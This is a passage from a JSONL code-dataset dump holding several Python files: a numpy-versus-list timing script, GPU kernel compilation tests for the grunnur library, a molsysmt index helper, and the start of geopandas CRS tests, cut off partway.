as np\\nnumpy_array = np.array(range({}))\".format(nb_values)\n        numpy_test = \"for i in range(len(numpy_array)): numpy_array[i] = 1\"\n        core_setup = \"core_list = [i for i in range({})]\".format(nb_values)\n        core_test = \"for i in range(len(core_list)): core_list[i] = 1\"\n        time_numpy_array, time_core_list = NumpyVSList.compute_time_writing(nb_values, repeat)\n        print(\"=====RESULT WRITING=====\")\n        print(\"Number of values: {}\".format(nb_values))\n        print(\"Number of repeat: {}\".format(repeat))\n        print(\"Mean numpy array: {}\".format(time_numpy_array))\n        print(\"Mean core list: {}\".format(time_core_list))\n        print(\"T_numpy - T_core = {}\".format(time_numpy_array - time_core_list))\n        print(\"===========================\")\n        return time_numpy_array, time_core_list\n\n    @staticmethod\n    def compare_all_plot(nb_values=100, repeat=10000):\n        \"\"\"Plot in a bar plot the different mean computation times of different operations on a numpy array and a core list.\n\n        :param int nb_values: The number of values in the iterables NOT IMPLEMENTED.\n        :param int repeat: The number of times we repeat the experiment NOT IMPLEMENTED.\n        \"\"\"\n        time_numpy_array = {}\n        time_core_list = {}\n        for operation in [\"init\", \"reading\", \"writing\"]:\n            times = NumpyVSList.compute(operation)\n            time_numpy_array[operation] = times[0]\n            time_core_list[operation] = times[1]\n        print(time_numpy_array)\n        print(time_core_list)\n        plt.bar(time_numpy_array.keys(), time_numpy_array.values())\n        plt.bar(time_core_list.keys(), time_core_list.values())\n        plt.show()\n\nNumpyVSList.compare_all_plot()\n\n\n", "meta": {"hexsha": "5a5a910dd1e0299b121fccd3496b46c2bf780dcd", "size": 7282, "ext": "py", "lang": "Python", "max_stars_repo_path": "steps/step1/numpyVSlist.py", "max_stars_repo_name": "charlyalizadeh/ESILV_ADSA_Problem", "max_stars_repo_head_hexsha": "c14bcb2abd3faec5f43ca872ddb6883e6ce21fa2", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "steps/step1/numpyVSlist.py", "max_issues_repo_name": "charlyalizadeh/ESILV_ADSA_Problem", "max_issues_repo_head_hexsha": "c14bcb2abd3faec5f43ca872ddb6883e6ce21fa2", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "steps/step1/numpyVSlist.py", "max_forks_repo_name": "charlyalizadeh/ESILV_ADSA_Problem", "max_forks_repo_head_hexsha": "c14bcb2abd3faec5f43ca872ddb6883e6ce21fa2", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 46.9806451613, "max_line_length": 147, "alphanum_fraction": 0.6533919253, "include": true, "reason": "import numpy", "num_tokens": 1666, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167793123159, "lm_q2_score": 0.10970577969958141, "lm_q1q2_score": 0.05057620522904747}}
{"text": "import os.path\nimport re\n\nimport numpy\nimport pytest\n\nfrom grunnur import (\n    cuda_api_id, opencl_api_id, cuda_api_id,\n    Program, Queue, MultiQueue, Array, MultiArray, CompilationError, StaticKernel, API, Context,\n    )\nfrom grunnur.template import Template, DefTemplate\n\nfrom .mock_base import MockKernel, MockDefTemplate\nfrom .mock_pycuda import PyCUDADeviceInfo\n\n\n\nSRC_OPENCL = \"\"\"\n__kernel void multiply(__global int *dest, __global int *a, __global int *b, int c)\n{\n    const int i = get_global_id(0);\n    dest[i] = a[i] * b[i] + c;\n}\n\"\"\"\n\nSRC_CUDA = \"\"\"\nextern \"C\" __global__ void multiply(int *dest, int *a, int *b, int c)\n{\n    const int i = threadIdx.x + blockIdx.x * blockDim.x;\n    dest[i] = a[i] * b[i] + c;\n}\n\"\"\"\n\nSRC_GENERIC = \"\"\"\nKERNEL void multiply(GLOBAL_MEM int *dest, GLOBAL_MEM int *a, GLOBAL_MEM int *b, int c)\n{\n    const int i = get_global_id(0);\n    dest[i] = a[i] * b[i] + c;\n}\n\"\"\"\n\n\n@pytest.mark.parametrize('no_prelude', [False, True], ids=[\"with_prelude\", \"no_prelude\"])\ndef test_compile(mock_or_real_context, no_prelude):\n\n    context, mocked = mock_or_real_context\n\n    if mocked:\n        src = MockDefTemplate(kernels=[MockKernel('multiply', [None, None, None, numpy.int32])])\n    else:\n        if no_prelude:\n            src = SRC_CUDA if context.api.id == cuda_api_id() else SRC_OPENCL\n        else:\n            src = SRC_GENERIC\n\n    program = Program(context.device, src, no_prelude=no_prelude)\n\n    if mocked and no_prelude:\n        assert program.sources[context.device].prelude.strip() == \"\"\n\n    length = 64\n\n    a = numpy.arange(length).astype(numpy.int32)\n    b = numpy.arange(length).astype(numpy.int32) + 1\n    c = numpy.int32(3)\n    ref = a * b + c\n\n    queue = Queue(context.device)\n\n    a_dev = Array.from_host(queue, a)\n    b_dev = Array.from_host(queue, b)\n\n    res_dev = Array.empty(context.device, length, numpy.int32)\n    # Check that passing both Arrays and Buffers is supported\n    # Pass one of the buffers as a subregion, too.\n    a_dev_view = a_dev.data.get_sub_region(0, a_dev.data.size)\n    program.kernel.multiply(queue, length, None, res_dev, a_dev_view, b_dev.data, c)\n    res = res_dev.get(queue)\n    if not mocked:\n        assert (res == ref).all()\n\n    # Explicit local_size\n    res2_dev = Array.from_host(queue, a) # Array.empty(queue, length, numpy.int32)\n    program.kernel.multiply(queue, length, length // 2, res2_dev, a_dev, b_dev, c)\n    res2 = res2_dev.get(queue)\n    if not mocked:\n        assert (res2 == ref).all()\n\n\ndef test_compile_multi_device(mock_or_real_multi_device_context):\n\n    context, mocked = mock_or_real_multi_device_context\n    devices = context.devices[[1, 0]]\n\n    if mocked:\n        src = MockDefTemplate(kernels=[MockKernel('multiply', [None, None, None, numpy.int32])])\n    else:\n        src = SRC_GENERIC\n\n    length = 64\n\n    program = Program(devices, src)\n    a = numpy.arange(length).astype(numpy.int32)\n    b = numpy.arange(length).astype(numpy.int32) + 1\n    c = numpy.int32(3)\n    ref = a * b + c\n\n    mqueue = MultiQueue.on_devices(devices)\n\n    a_dev = MultiArray.from_host(mqueue, a)\n    b_dev = MultiArray.from_host(mqueue, b)\n\n    res_dev = MultiArray.empty(devices, length, numpy.int32)\n    program.kernel.multiply(mqueue, a_dev.shapes, None, res_dev, a_dev, b_dev, c)\n    res = res_dev.get(mqueue)\n    if not mocked:\n        assert (res == ref).all()\n\n    # Test argument unpacking from dictionaries\n    res_dev = MultiArray.empty(devices, length, numpy.int32)\n    program.kernel.multiply(\n        mqueue, a_dev.shapes, {device: None for device in devices},\n        res_dev, a_dev.subarrays, b_dev, c)\n    res = res_dev.get(mqueue)\n    if not mocked:\n        assert (res == ref).all()\n\n\ndef test_mismatched_devices(mock_4_device_context):\n    context = mock_4_device_context\n    src = MockDefTemplate(kernels=[MockKernel('multiply', [None, None, None, numpy.int32])])\n    program = Program(context.devices, src)\n    with pytest.raises(ValueError, match=\"Mismatched device sets for global and local sizes\"):\n        program.kernel.multiply.prepare(\n            {context.devices[0]: 10, context.devices[2]: 20},\n            {context.devices[0]: None, context.devices[1]: None})\n\n\nSRC_CONSTANT_MEM = \"\"\"\nKERNEL void copy_from_cm(\n    GLOBAL_MEM int *dest\n#ifdef GRUNNUR_OPENCL_API\n    , CONSTANT_MEM int *cm1\n    , CONSTANT_MEM int *cm2\n    , CONSTANT_MEM int *cm3\n#endif\n    )\n{\n    const int i = get_global_id(0);\n    dest[i] = cm1[i] + cm2[i] + cm3[i];\n}\n\"\"\"\n\n\nSRC_CONSTANT_MEM_STATIC = \"\"\"\nKERNEL void copy_from_cm(\n    GLOBAL_MEM int *dest\n#ifdef GRUNNUR_OPENCL_API\n    , CONSTANT_MEM int *cm1\n    , CONSTANT_MEM int *cm2\n    , CONSTANT_MEM int *cm3\n#endif\n    )\n{\n    ${static.begin};\n    const int i = ${static.global_id}(0);\n    dest[i] = cm1[i] + cm2[i] + cm3[i];\n}\n\"\"\"\n\n\ndef _test_constant_memory(context, mocked, is_static):\n\n    cm1 = numpy.arange(16).astype(numpy.int32)\n    cm2 = numpy.arange(16).astype(numpy.int32) * 2 + 1\n    cm3 = numpy.arange(16).astype(numpy.int32) * 3 + 2\n\n    if mocked:\n        kernel = MockKernel(\n            'copy_from_cm',\n            [None] if context.api.id == cuda_api_id() else [None, None, None, None],\n            max_total_local_sizes={0: 1024})\n        src = MockDefTemplate(\n            constant_mem={\n                'cm1': cm1.size * cm1.dtype.itemsize,\n                'cm2': cm2.size * cm2.dtype.itemsize,\n                'cm3': cm3.size * cm3.dtype.itemsize},\n            kernels=[kernel])\n    else:\n        src = SRC_CONSTANT_MEM_STATIC if is_static else SRC_CONSTANT_MEM\n\n    queue = Queue(context.device)\n\n    cm1_dev = Array.from_host(queue, cm1)\n    cm2_dev = Array.from_host(queue, cm2)\n    cm3_dev = Array.from_host(queue, cm3)\n    res_dev = Array.empty(context.device, 16, numpy.int32)\n\n    if context.api.id == cuda_api_id():\n\n        # Use different forms of constant array representation\n        constant_arrays=dict(\n            cm1=cm1, # as an array(-like) object\n            cm2=(cm2.shape, cm2.dtype), # as a tuple of shape and dtype\n            cm3=cm3_dev) # as a device array\n\n        if is_static:\n            copy_from_cm = StaticKernel(\n                context.device, src, 'copy_from_cm',\n                global_size=16, constant_arrays=constant_arrays)\n            copy_from_cm.set_constant_array(queue, 'cm1', cm1_dev) # setting from a device array\n            copy_from_cm.set_constant_array(queue, 'cm2', cm2) # setting from a host array\n            copy_from_cm.set_constant_array(queue, 'cm3', cm3_dev.data) # setting from a host buffer\n        else:\n            program = Program(context.device, src, constant_arrays=constant_arrays)\n            program.set_constant_array(queue, 'cm1', cm1_dev) # setting from a device array\n            program.set_constant_array(queue, 'cm2', cm2) # setting from a host array\n            program.set_constant_array(queue, 'cm3', cm3_dev.data) # setting from a host buffer\n            copy_from_cm = lambda queue, *args: program.kernel.copy_from_cm(queue, 16, None, *args)\n\n        copy_from_cm(queue, res_dev)\n    else:\n\n        if is_static:\n            copy_from_cm = StaticKernel(context.device, src, 'copy_from_cm', global_size=16)\n        else:\n            program = Program(context.device, src)\n            copy_from_cm = lambda queue, *args: program.kernel.copy_from_cm(queue, 16, None, *args)\n\n        copy_from_cm(queue, res_dev, cm1_dev, cm2_dev, cm3_dev)\n\n    res = res_dev.get(queue)\n\n    if not mocked:\n        assert (res == cm1 + cm2 + cm3).all()\n\n\ndef test_constant_memory(mock_or_real_context):\n    context, mocked = mock_or_real_context\n    _test_constant_memory(context=context, mocked=mocked, is_static=False)\n\n\nSRC_COMPILE_ERROR = \"\"\"\nKERNEL void compile_error(GLOBAL_MEM int *dest)\n{\n    const int i = get_global_id(0);\n    dest[i] = 1;\n    zzz\n}\n\"\"\"\n\n\ndef test_compilation_error(mock_or_real_context, capsys):\n\n    context, mocked = mock_or_real_context\n\n    if mocked:\n        src = MockDefTemplate(should_fail=True)\n    else:\n        src = SRC_COMPILE_ERROR\n\n    with pytest.raises(CompilationError):\n        Program(context.device, src)\n\n    captured = capsys.readouterr()\n    assert \"Failed to compile on device\" in captured.out\n\n    # check that the full source is shown (including the prelude)\n    assert \"#define GRUNNUR_\" in captured.out\n\n    if mocked:\n        assert \"<<< mock source >>>\" in captured.out\n    else:\n        assert \"KERNEL void compile_error(GLOBAL_MEM int *dest)\" in captured.out\n\n\ndef test_keep(mock_or_real_context, capsys):\n\n    context, mocked = mock_or_real_context\n\n    if mocked:\n        src = MockDefTemplate(kernels=[MockKernel('multiply', [None, None, None, numpy.int32])])\n    else:\n        src = SRC_GENERIC\n\n    program = Program(context.device, src, keep=True)\n    captured = capsys.readouterr()\n    path = re.match(r'\\*\\*\\* compiler output in (.*)', captured.out).group(1)\n    assert os.path.isdir(path)\n\n    if context.api.id == opencl_api_id():\n        srcfile = os.path.join(path, 'kernel.cl')\n    elif context.api.id == cuda_api_id():\n        srcfile = os.path.join(path, 'kernel.cu')\n\n    with open(srcfile) as f:\n        source = f.read()\n\n    assert str(src) in source\n\n\ndef test_wrong_device_idxs(mock_4_device_context):\n    src = MockDefTemplate(kernels=[MockKernel('multiply', [None])])\n\n    context = mock_4_device_context\n    program = Program(context.devices[[0, 1]], src)\n    mqueue = MultiQueue.on_devices(context.devices[[2, 1]])\n    res_dev = MultiArray.empty(context.devices[[2, 1]], 16, numpy.int32)\n\n    # Using all the queue's devices (1, 2)\n    with pytest.raises(ValueError, match=\"Requested execution on devices\"):\n        program.kernel.multiply(mqueue, 8, None, res_dev)\n\n\ndef test_wrong_context(mock_backend):\n\n    mock_backend.add_devices(['Device0'])\n\n    src = MockDefTemplate(kernels=[MockKernel('multiply', [None])])\n\n    api = API.from_api_id(mock_backend.api_id)\n    context = Context.from_devices(api.platforms[0].devices[0])\n    context2 = Context.from_devices(api.platforms[0].devices[0])\n\n    res_dev = Array.empty(context.device, 16, numpy.int32)\n\n    program = Program(context.device, src)\n    queue = Queue(context2.device)\n\n    with pytest.raises(ValueError, match=\"The provided queue must belong to the same context this program uses\"):\n        program.kernel.multiply(queue, 8, None, res_dev)\n\n\ndef test_set_constant_array_errors(mock_4_device_context):\n\n    context = mock_4_device_context\n\n    api = API.from_api_id(mock_4_device_context.api.id)\n    other_context = Context.from_criteria(api)\n    other_queue = Queue(other_context.devices[0])\n    # Contexts don't know about each other and can't interact with stack in a consistent manner.\n    # So we deactivate the other context if we're on CUDA API.\n    if api.id == cuda_api_id():\n        other_context.deactivate()\n\n    cm1 = numpy.arange(16).astype(numpy.int32)\n    src = MockDefTemplate(kernels=[\n        MockKernel(\n            'kernel', [],\n            max_total_local_sizes={0: 1024, 1: 1024, 2: 1024, 3: 1024})],\n            constant_mem={'cm1': cm1.size * cm1.dtype.itemsize})\n    queue = Queue(context.devices[0])\n\n    if context.api.id == cuda_api_id():\n        program = Program(context.devices, src, constant_arrays=dict(cm1=cm1))\n\n        with pytest.raises(\n                ValueError,\n                match=\"The provided queue must belong to the same context as this program uses\"):\n            program.set_constant_array(other_queue, 'cm1', cm1)\n\n        with pytest.raises(TypeError, match=\"Unsupported array type\"):\n            program.set_constant_array(queue, 'cm1', [1])\n\n        with pytest.raises(ValueError, match=\"Incorrect size of the constant buffer;\"):\n            program.set_constant_array(queue, 'cm1', cm1[:8])\n\n        with pytest.raises(TypeError, match=\"Unknown constant array metadata type\"):\n            program = Program(context.devices[[0, 1, 2]], src, constant_arrays=dict(cm1=1))\n\n        program = Program(context.devices[[0, 1, 2]], src, constant_arrays=dict(cm1=cm1))\n        queue3 = Queue(context.devices[3])\n\n        with pytest.raises(\n                ValueError,\n                match=\"The program was not compiled for the device this queue uses\"):\n            program.set_constant_array(queue3, 'cm1', cm1)\n\n    else:\n        with pytest.raises(ValueError, match=\"Compile-time constant arrays are only supported by CUDA API\"):\n            program = Program(context.devices, src, constant_arrays=dict(cm1=cm1))\n\n        program = Program(context.devices, src)\n        with pytest.raises(ValueError, match=\"Constant arrays are only supported for CUDA API\"):\n            program.set_constant_array(queue, 'cm1', cm1)\n\n        with pytest.raises(ValueError, match=\"Compile-time constant arrays are only supported by CUDA API\"):\n            sk = StaticKernel(context.devices, src, 'kernel', 1024, constant_arrays=dict(cm1=cm1))\n\n        sk = StaticKernel(context.devices, src, 'kernel', 1024)\n        with pytest.raises(ValueError, match=\"Constant arrays are only supported for CUDA API\"):\n            sk.set_constant_array(queue, 'cm1', cm1)\n\n\ndef test_max_total_local_sizes(mock_backend):\n    mock_backend.add_devices([\"Device1\", \"Device2 - tag\", \"Device3 - tag\", \"Device4\"])\n    api = API.from_api_id(mock_backend.api_id)\n    context = Context.from_criteria(api, devices_num=2, device_include_masks=[\"tag\"])\n\n    # Providing max_total_local_sizes for all possible devices to make sure\n    # only the ones corresponding to the context will get picked up\n    kernel = MockKernel('test', max_total_local_sizes={0: 64, 1: 1024, 2: 512, 3: 128})\n\n    src = MockDefTemplate(kernels=[kernel])\n    program = Program(context.devices, src)\n\n    # The indices here correspond to the devices in the context, not in the platform\n    assert program.kernel.test.max_total_local_sizes == {context.devices[0]: 1024, context.devices[1]: 512}\n\n\ndef test_cannot_override_builtin_globals(mock_context):\n    with pytest.raises(ValueError, match=\"'device_params' is a reserved global name and cannot be used\"):\n        Program(\n            mock_context.device,\n            MockDefTemplate(kernels=[MockKernel('test', [None])]),\n            render_globals=dict(device_params=None))\n\n\ndef test_builtin_globals(mock_backend_pycuda):\n    mock_backend_pycuda.add_devices([\n        PyCUDADeviceInfo(max_threads_per_block=1024),\n        PyCUDADeviceInfo(max_threads_per_block=512)])\n\n    source_template = DefTemplate.from_string(\n        'mock_source', [],\n        \"\"\"\n        KERNEL void test()\n        {\n            int max_total_local_size = ${device_params.max_total_local_size};\n        }\n        \"\"\")\n\n    api = API.from_api_id(mock_backend_pycuda.api_id)\n    context = Context.from_devices([api.platforms[0].devices[0], api.platforms[0].devices[1]])\n\n    src = MockDefTemplate(kernels=[MockKernel('test', [None])], source_template=source_template)\n\n    program = Program(context.devices, src)\n\n    assert 'max_total_local_size = 1024' in program.sources[context.devices[0]].source\n    assert 'max_total_local_size = 512' in program.sources[context.devices[1]].source\n", "meta": {"hexsha": "95559f93eb0db3e957a88f6899b65bda0a11d0c8", "size": 15094, "ext": "py", "lang": "Python", "max_stars_repo_path": "test/test_program.py", "max_stars_repo_name": "fjarri/grunnur", "max_stars_repo_head_hexsha": "5eea8ec408e431f43a59780cdf8be2f441a9ebb5", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-12-04T12:19:18.000Z", "max_stars_repo_stars_event_max_datetime": "2020-12-04T12:19:18.000Z", "max_issues_repo_path": "test/test_program.py", "max_issues_repo_name": "fjarri/grunnur", "max_issues_repo_head_hexsha": "5eea8ec408e431f43a59780cdf8be2f441a9ebb5", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 11, "max_issues_repo_issues_event_min_datetime": "2021-03-11T00:20:23.000Z", "max_issues_repo_issues_event_max_datetime": "2021-03-11T01:05:54.000Z", "max_forks_repo_path": "test/test_program.py", "max_forks_repo_name": "fjarri/grunnur", "max_forks_repo_head_hexsha": "5eea8ec408e431f43a59780cdf8be2f441a9ebb5", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.149321267, "max_line_length": 113, "alphanum_fraction": 0.6680137803, "include": true, "reason": "import numpy", "num_tokens": 3764, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167793123159, "lm_q2_score": 0.10970577678877605, "lm_q1q2_score": 0.05057620388711735}}
{"text": "import numpy as np\n\ndef digest_group_indices(group_indices):\n\n    if type(group_indices)==str:\n        if group_indices in ['all', 'All', 'ALL']:\n            group_indices = 'all'\n        else:\n            raise ValueError()\n    elif type(group_indices) in [int, np.int64, np.int32]:\n        group_indices = np.array([group_indices], dtype='int64')\n    elif hasattr(group_indices, '__iter__'):\n        group_indices = np.array(group_indices, dtype='int64')\n\n    return group_indices\n\n", "meta": {"hexsha": "e294111ef4fd6db7a9b084f292b58f5a0c7bca0e", "size": 484, "ext": "py", "lang": "Python", "max_stars_repo_path": "molsysmt/_private/digestion/group_indices.py", "max_stars_repo_name": "uibcdf/MolModMTs", "max_stars_repo_head_hexsha": "4f6b6f671a9fa3e73008d1e9c48686d5f20a6573", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "molsysmt/_private/digestion/group_indices.py", "max_issues_repo_name": "uibcdf/MolModMTs", "max_issues_repo_head_hexsha": "4f6b6f671a9fa3e73008d1e9c48686d5f20a6573", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "molsysmt/_private/digestion/group_indices.py", "max_forks_repo_name": "uibcdf/MolModMTs", "max_forks_repo_head_hexsha": "4f6b6f671a9fa3e73008d1e9c48686d5f20a6573", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.4705882353, "max_line_length": 64, "alphanum_fraction": 0.6425619835, "include": true, "reason": "import numpy", "num_tokens": 110, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4610167793123159, "lm_q2_score": 0.10970576514555529, "lm_q1q2_score": 0.050576198519397216}}
{"text": "from packaging.version import Version\nimport os\n\nimport random\n\nimport numpy as np\nimport pandas as pd\n\nfrom shapely.geometry import Point, Polygon, LineString\nimport pyproj\n\nfrom geopandas import GeoSeries, GeoDataFrame, points_from_xy, datasets, read_file\nfrom geopandas.array import from_shapely, from_wkb, from_wkt, GeometryArray\n\nfrom geopandas.testing import assert_geodataframe_equal\nimport pytest\n\n\n# pyproj 2.3.1 fixed a segfault for the case working in an environment with\n# 'init' dicts (https://github.com/pyproj4/pyproj/issues/415)\nPYPROJ_LT_231 = Version(pyproj.__version__) < Version(\"2.3.1\")\n\n\ndef _create_df(x, y=None, crs=None):\n    y = y or x\n    x = np.asarray(x)\n    y = np.asarray(y)\n\n    return GeoDataFrame(\n        {\"geometry\": points_from_xy(x, y), \"value1\": x + y, \"value2\": x * y}, crs=crs\n    )\n\n\ndef df_epsg26918():\n    # EPSG:26918\n    # Center coordinates\n    # -1683723.64 6689139.23\n    return _create_df(\n        x=range(-1683723, -1683723 + 10, 1),\n        y=range(6689139, 6689139 + 10, 1),\n        crs=\"epsg:26918\",\n    )\n\n\ndef test_to_crs_transform():\n    df = df_epsg26918()\n    lonlat = df.to_crs(epsg=4326)\n    utm = lonlat.to_crs(epsg=26918)\n    assert_geodataframe_equal(df, utm, check_less_precise=True)\n\n\ndef test_to_crs_transform__missing_data():\n    # https://github.com/geopandas/geopandas/issues/1573\n    df = df_epsg26918()\n    df.loc[3, \"geometry\"] = None\n    lonlat = df.to_crs(epsg=4326)\n    utm = lonlat.to_crs(epsg=26918)\n    assert_geodataframe_equal(df, utm, check_less_precise=True)\n\n\ndef test_to_crs_inplace():\n    df = df_epsg26918()\n    lonlat = df.to_crs(epsg=4326)\n    df.to_crs(epsg=4326, inplace=True)\n    assert_geodataframe_equal(df, lonlat, check_less_precise=True)\n\n\ndef test_to_crs_geo_column_name():\n    # Test to_crs() with different geometry column name (GH#339)\n    df = df_epsg26918()\n    df = df.rename(columns={\"geometry\": \"geom\"})\n    df.set_geometry(\"geom\", inplace=True)\n    lonlat = df.to_crs(epsg=4326)\n    utm = lonlat.to_crs(epsg=26918)\n    assert lonlat.geometry.name == \"geom\"\n    assert utm.geometry.name == \"geom\"\n    assert_geodataframe_equal(df, utm, check_less_precise=True)\n\n\n# -----------------------------------------------------------------------------\n# Test different supported formats for CRS specification\n\n\n@pytest.fixture(\n    params=[\n        4326,\n        \"epsg:4326\",\n        pytest.param(\n            {\"init\": \"epsg:4326\"},\n            marks=pytest.mark.skipif(PYPROJ_LT_231, reason=\"segfault\"),\n        ),\n        \"+proj=longlat +ellps=WGS84 +datum=WGS84 +no_defs\",\n        {\"proj\": \"latlong\", \"ellps\": \"WGS84\", \"datum\": \"WGS84\", \"no_defs\": True},\n    ],\n    ids=[\"epsg_number\", \"epsg_string\", \"epsg_dict\", \"proj4_string\", \"proj4_dict\"],\n)\ndef epsg4326(request):\n    if isinstance(request.param, int):\n        return dict(epsg=request.param)\n    return dict(crs=request.param)\n\n\n@pytest.fixture(\n    params=[\n        26918,\n        \"epsg:26918\",\n        pytest.param(\n            {\"init\": \"epsg:26918\", \"no_defs\": True},\n            marks=pytest.mark.skipif(PYPROJ_LT_231, reason=\"segfault\"),\n        ),\n        \"+proj=utm +zone=18 +ellps=GRS80 +datum=NAD83 +units=m +no_defs \",\n        {\"proj\": \"utm\", \"zone\": 18, \"datum\": \"NAD83\", \"units\": \"m\", \"no_defs\": True},\n    ],\n    ids=[\"epsg_number\", \"epsg_string\", \"epsg_dict\", \"proj4_string\", \"proj4_dict\"],\n)\ndef epsg26918(request):\n    if isinstance(request.param, int):\n        return dict(epsg=request.param)\n    return dict(crs=request.param)\n\n\n@pytest.mark.filterwarnings(\"ignore:'\\\\+init:DeprecationWarning\")\n@pytest.mark.filterwarnings(\"ignore:'\\\\+init:FutureWarning\")\ndef test_transform2(epsg4326, epsg26918):\n    # with PROJ >= 7, the transformation using EPSG code vs proj4 string is\n    # slightly different due to use of grid files or not -> turn off network\n    # to not use grid files at all for this test\n    os.environ[\"PROJ_NETWORK\"] = \"OFF\"\n    df = df_epsg26918()\n    lonlat = df.to_crs(**epsg4326)\n    utm = lonlat.to_crs(**epsg26918)\n    # can't check for CRS equality, as the formats differ although representing\n    # the same CRS\n    assert_geodataframe_equal(df, utm, check_less_precise=True, check_crs=False)\n\n\ndef test_crs_axis_order__always_xy():\n    df = GeoDataFrame(geometry=[Point(-1683723, 6689139)], crs=\"epsg:26918\")\n    lonlat = df.to_crs(\"epsg:4326\")\n    test_lonlat = GeoDataFrame(\n        geometry=[Point(-110.1399901, 55.1350011)], crs=\"epsg:4326\"\n    )\n    assert_geodataframe_equal(lonlat, test_lonlat, check_less_precise=True)\n\n\ndef test_skip_exact_same():\n    df = df_epsg26918()\n    utm = df.to_crs(df.crs)\n    assert_geodataframe_equal(df, utm, check_less_precise=True)\n\n\n# Test CRS on GeometryArray level\nclass TestGeometryArrayCRS:\n    def setup_method(self):\n        self.osgb = pyproj.CRS(27700)\n        self.wgs = pyproj.CRS(4326)\n\n        self.geoms = [Point(0, 0), Point(1, 1)]\n        self.polys = [\n            Polygon([(random.random(), random.random()) for i in range(3)])\n            for _ in range(10)\n        ]\n        self.arr = from_shapely(self.polys, crs=27700)\n\n    def test_array(self):\n        arr = from_shapely(self.geoms)\n        arr.crs = 27700\n        assert arr.crs == self.osgb\n\n        arr = from_shapely(self.geoms, crs=27700)\n        assert arr.crs == self.osgb\n\n        arr = GeometryArray(arr)\n        assert arr.crs == self.osgb\n\n        arr = GeometryArray(arr, crs=4326)\n        assert arr.crs == self.wgs\n\n    def test_series(self):\n        s = GeoSeries(crs=27700)\n        assert s.crs == self.osgb\n        assert s.values.crs == self.osgb\n\n        arr = from_shapely(self.geoms)\n        s = GeoSeries(arr, crs=27700)\n        assert s.crs == self.osgb\n        assert s.values.crs == self.osgb\n\n        # manually change CRS\n        s.crs = 4326\n        assert s.crs == self.wgs\n        assert s.values.crs == self.wgs\n\n        s = GeoSeries(self.geoms, crs=27700)\n        assert s.crs == self.osgb\n        assert s.values.crs == self.osgb\n\n        arr = from_shapely(self.geoms, crs=27700)\n        s = GeoSeries(arr)\n        assert s.crs == self.osgb\n        assert s.values.crs == self.osgb\n\n        with pytest.warns(FutureWarning):\n            s = GeoSeries(arr, crs=4326)\n        assert s.crs == self.osgb\n\n    @pytest.mark.filterwarnings(\"ignore:Assigning CRS\")\n    def test_dataframe(self):\n        arr = from_shapely(self.geoms, crs=27700)\n        df = GeoDataFrame(geometry=arr)\n        assert df.crs == self.osgb\n        assert df.geometry.crs == self.osgb\n        assert df.geometry.values.crs == self.osgb\n\n        arr = from_shapely(self.geoms)\n        s = GeoSeries(arr, crs=27700)\n        df = GeoDataFrame(geometry=s)\n        assert df.crs == self.osgb\n        assert df.geometry.crs == self.osgb\n        assert df.geometry.values.crs == self.osgb\n\n        # different passed CRS than array CRS is ignored\n        with pytest.warns(FutureWarning, match=\"CRS mismatch\"):\n            df = GeoDataFrame(geometry=s, crs=4326)\n        assert df.crs == self.osgb\n        assert df.geometry.crs == self.osgb\n        assert df.geometry.values.crs == self.osgb\n        with pytest.warns(FutureWarning, match=\"CRS mismatch\"):\n            GeoDataFrame(geometry=s, crs=4326)\n        with pytest.warns(FutureWarning, match=\"CRS mismatch\"):\n            GeoDataFrame({\"data\": [1, 2], \"geometry\": s}, crs=4326)\n        with pytest.warns(FutureWarning, match=\"CRS mismatch\"):\n            GeoDataFrame(df, crs=4326).crs\n\n        # manually change CRS\n        arr = from_shapely(self.geoms)\n        s = GeoSeries(arr, crs=27700)\n        df = GeoDataFrame(geometry=s)\n        df.crs = 4326\n        assert df.crs == self.wgs\n        assert df.geometry.crs == self.wgs\n        assert df.geometry.values.crs == self.wgs\n\n        df = GeoDataFrame(self.geoms, columns=[\"geom\"], crs=27700)\n        assert df.crs == self.osgb\n        df = df.set_geometry(\"geom\")\n        assert df.crs == self.osgb\n        assert df.geometry.crs == self.osgb\n        assert df.geometry.values.crs == self.osgb\n        assert df.geom.crs == self.osgb\n        assert df.geom.values.crs == self.osgb\n\n        df = GeoDataFrame(geometry=self.geoms, crs=27700)\n        assert df.crs == self.osgb\n        assert df.geometry.crs == self.osgb\n        assert df.geometry.values.crs == self.osgb\n\n        df = GeoDataFrame(crs=27700)\n        df = df.set_geometry(self.geoms)\n        assert df.crs == self.osgb\n        assert df.geometry.crs == self.osgb\n        assert df.geometry.values.crs == self.osgb\n\n        # new geometry with set CRS has priority over GDF CRS\n        df = GeoDataFrame(crs=27700)\n        df = df.set_geometry(self.geoms, crs=4326)\n        assert df.crs == self.wgs\n        assert df.geometry.crs == self.wgs\n        assert df.geometry.values.crs == self.wgs\n\n        arr = from_shapely(self.geoms)\n        s = GeoSeries(arr, crs=27700)\n        df = GeoDataFrame()\n        df = df.set_geometry(s)\n        assert df.crs == self.osgb\n        assert df.geometry.crs == self.osgb\n        assert df.geometry.values.crs == self.osgb\n\n        arr = from_shapely(self.geoms, crs=27700)\n        df = GeoDataFrame()\n        df = 